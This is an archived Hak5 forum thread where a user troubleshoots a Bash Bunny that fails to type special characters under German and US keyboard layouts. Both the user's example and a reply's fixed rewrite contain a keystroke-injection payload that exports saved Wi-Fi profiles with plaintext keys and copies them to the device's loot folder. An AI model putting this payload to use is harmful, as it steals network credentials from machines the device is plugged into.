Jump to content

QUACK - no special chars


SchwarzerLotus

Recommended Posts

Hello Guys!

First a big welcome to all!

I got some HAK5 gear and I'm very fascinated from them. I've also read here since I've got the first gear to find help. And usually I've got a solution for me - but now I don't know how to go on...

My BB won't write special chars. Neither with german language file nor with standard US language... All upper- and lowcase letters an numbers are working without problems. But special chars... Nothing...

Frist I thought it's the german .json file becuase there where no Umlauts and some special chars seemed to have the wrong scancode. So I wrote my own .json file - Nothing....
Next day the new german .json with Umlauts was available - Nothing
I have tried all commands I found anywhere to change language: - Nothing

LANGUAGE='de'
LANGUAGE=de
LANGUAGE= de
DUCKY_LANG='de'
DUCKY_LANG=de
DUCKY_LANG= de
+DUCKY_LANG=de
+DUCKY_LANG= de
+DUCKY_LANG='de'
QUACK SET_LANGUAGE de
QUACK SET_LANGUAGE 'de'
SET_LANGUAGE de
SET_LANGUAGE 'de'

So I've decided to try out with US Language. Changed keyboard language - Nothing....
I get no special chars...

 

Anyone an idea I can try yet?

Thanks and lovely Greets :-)

 

 

Link to comment
Share on other sites

in the root of the BashBunny there is a file "config.txt" did u change it over there?

- docs
- languages
- loot
- payloads
- tools
config.txt
    #!/bin/bash
    #This configuration file is used to set default variables
    DUCKY_LANG de

This way you don't have to add it to all your scripts.

Link to comment
Share on other sites

I saw that but I haven't tried to change it.
I'm gonna try it tomorrow :-)
However, I don't think it will work.... I already switched PC keyboard layout from german to US without any effect.

If I use only letters, it's working with german and US layout. Special chars are not working with both layouts :-(


Thanks ;-)

Link to comment
Share on other sites

OK... Now I'm confused...

I started to try out wich special chars are working/not working and it was differrent....

EXAMPLE 1:
STRING ^ß´°!"§$% [And so on]
Output: ^! -> Nothing more happend...
String ß`°!"§$% [And so on]
Output: ! -> Nothing more happend...
STRING §$%&/( [And so on]
Output: $% / -> Nothing more happend...

EXAMPLE 2:
.....
Q STRING mkdir .wlandata
Q ENTER
Q STRING chdir .wlandata
Q ENTER
Q STRING netsh wlan export profile key=clear
Q DELAY 500
Q ENTER
Q STRING chdir ..
Q ENTER
Q STRING $bunny=(gwmi win32_volume -f "label = 'BashBunny'").NAME
Q ENTER
Q STRING mv .wlandata $bunny\\loot\\Wifi
.....

Output: 
mkdir .wlandata
chdir .wlandata
netsh wlan export profile key=clear
chdir .. -> Nothing more happend...

At example 2 I tried to delet lines to see if it changes the output like example 1. Did not... It is working until the $ sign... If the first line starts with $bunnyxxxx it happens nothing.

It seems it's not up to the special chars... Now I really have no idea whats going wrong....

 

Link to comment
Share on other sites

OK - I've got a new idea....

It seems I don't have the DuckToolKit. In /root/tools/ are no files. I tried to install it via the DuckyInstall payload but I don't find it... Also the bunny_helper.sh seems not to exist at Github payload library

Do I need that? Has it moved or renamed at github? Where can I find it?

I also tried it with QUACK switch1/test.txt instead writing the "code" directly to the payload.txt. Nothing. Also if something works written in the payload.txt the same won't work in "extern" txt file

 

Lovely Greets
 

Link to comment
Share on other sites

  • 3 weeks later...
On 3/31/2018 at 9:23 AM, SchwarzerLotus said:

OK... Now I'm confused...

I started to try out wich special chars are working/not working and it was differrent....


EXAMPLE 1:
STRING ^ß´°!"§$% [And so on]
Output: ^! -> Nothing more happend...
String ß`°!"§$% [And so on]
Output: ! -> Nothing more happend...
STRING §$%&/( [And so on]
Output: $% / -> Nothing more happend...

EXAMPLE 2:
.....
Q STRING mkdir .wlandata
Q ENTER
Q STRING chdir .wlandata
Q ENTER
Q STRING netsh wlan export profile key=clear
Q DELAY 500
Q ENTER
Q STRING chdir ..
Q ENTER
Q STRING $bunny=(gwmi win32_volume -f "label = 'BashBunny'").NAME
Q ENTER
Q STRING mv .wlandata $bunny\\loot\\Wifi
.....

Output: 
mkdir .wlandata
chdir .wlandata
netsh wlan export profile key=clear
chdir .. -> Nothing more happend...

At example 2 I tried to delet lines to see if it changes the output like example 1. Did not... It is working until the $ sign... If the first line starts with $bunnyxxxx it happens nothing.

It seems it's not up to the special chars... Now I really have no idea whats going wrong....

 

EXAMPLE 2:
.....
Q STRING "mkdir .wlandata"
Q ENTER
Q STRING "chdir .wlandata"
Q ENTER
Q STRING "netsh wlan export profile key=clear"
Q DELAY 500
Q ENTER
Q STRING "chdir .."
Q ENTER
Q STRING "\$bunny=(gwmi win32_volume -f {label = 'BashBunny'}).NAME"
Q ENTER
Q STRING "mv .wlandata \$bunny\loot\Wifi"

Try this alternative re-write.

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...